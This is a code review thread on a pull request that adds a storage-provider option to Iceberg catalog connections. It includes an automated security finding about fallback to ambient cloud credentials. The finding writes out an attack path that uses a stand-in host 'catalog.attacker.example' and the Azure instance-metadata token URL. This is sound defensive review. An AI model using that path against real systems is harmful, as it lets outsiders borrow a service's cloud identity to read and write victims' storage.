SS-452 Add sql option for iceberg storage provider to iceberg catalog connection

[patrickwwbutler]

Adds an option to the CREATE CONNECTION ... TO ICEBERG CATALOG statement to specify a storage provider for the catalog, and then consumes this option when building the opendal storage interface to create the correct one.

Unblocks vended credential support for GCS and ADLS backed iceberg catalogs

[linear-code]

SS-452

[def-]

QA LLM Review

1. MEDIUM -- New GCS/ADLS storage factories fall back to clusterd's ambient cloud identity

src/storage-types/src/connections.rs:1165

Details

A REST catalog connection can now select an OpenDAL GCS or ADLS backend, and both are built from default config. When the catalog names a table location but hands back no storage credentials for it, OpenDAL does not fail: it walks its own provider chain and signs the requests with whatever ambient identity the clusterd process has. Since the catalog URL is user-supplied, any principal who can create a connection can make Materialize read and write an object store of their choosing under Materialize's own identity.

gcs_config_parse and azdls_config_parse only populate fields the catalog's props carry; everything else stays at GcsConfig::default() / AzdlsConfig::default(). For GCS that leaves disable_vm_metadata and disable_config_load false, so OpenDAL pushes DefaultCredentialProvider (env, well-known file, GCE metadata). For ADLS, reqsign's default chain ends in ImdsCredentialProvider, which requests http://169.254.169.254/metadata/identity/oauth2/token?...&resource=https://storage.azure.com/ unconditionally, with no env var needed to enable it. Azure-hosted environments give clusterd pods IMDS reachability by default.

The GCP-connection branch twenty lines below at src/storage-types/src/connections.rs:1186 sets GCS_DISABLE_VM_METADATA and GCS_DISABLE_CONFIG_LOAD for exactly this reason ("Don't look elsewhere for GCP credentials"), and that is the branch whose catalog URL is pinned to BigLake. The new branch, which accepts an arbitrary URL, omits the hardening.

Reachable path: CREATE CONNECTION c TO ICEBERG CATALOG (CATALOG TYPE = 'rest', URL = 'https://catalog.attacker.example/', CREDENTIAL = 'a:b', STORAGE PROVIDER = 'adls', WAREHOUSE = 'wh'), then a sink on it. The catalog answers loadTable with abfss://fs@victim.dfs.core.windows.net/... and no adls.* props. Nothing in connect_rest legitimately wants ambient credentials: every storage credential it can use comes from the catalog's /v1/config or from loadTable's storage-credentials.

Two things to know about the fix. The S3 arm has the same gap whenever no vended-credential loader is installed, so worth covering all three rather than just the new ones. And props-based hardening is not authoritative: RestCatalogConfig::merge_with_config applies the server's overrides after the client's props, so a hostile catalog can send gcs.disable-vm-metadata: false and undo it. S3_DISABLE_EC2_METADATA / S3_DISABLE_CONFIG_LOAD / GCS_DISABLE_VM_METADATA / GCS_DISABLE_CONFIG_LOAD raise the bar cheaply, but the durable fix is to construct the storage config with credentials supplied explicitly rather than letting the backend resolve them. AzdlsConfig exposes no disable knob at all, so ADLS has no props-level mitigation: either require that the catalog actually supplied adls.* credentials before building the factory, or cut the chain off in iceberg-storage-opendal.

[martykulma]

need to remove OpenDalStorageFactory::Azdls or set the feature flag for it to be include, as is, this won't compile.

[martykulma]

Is this needed? It looks like IcebergStorageProvider::Gcs is the provider that could result in auth = IcebergCatalogAuth::Gcp, so this is effectively dead.

Could also collapse with auth decision to avoid having 2 places to update in the future, e.g.

let (auth, storage_provider) = match (credential, gcp_connection)  {
  ...

[patrickwwbutler]

technically we could have IcebergCatalogAuth::Gcp and storage_provider = None, so this sets it in case it isn't set, but in the connect_rest function, if it is a GCP connection, the storage provider isn't even checked, just assumed to be GCS, so it's not technically necessary, but the RestIcebergCatalog requires a value, so we might as well set it here

[martykulma]

lgtm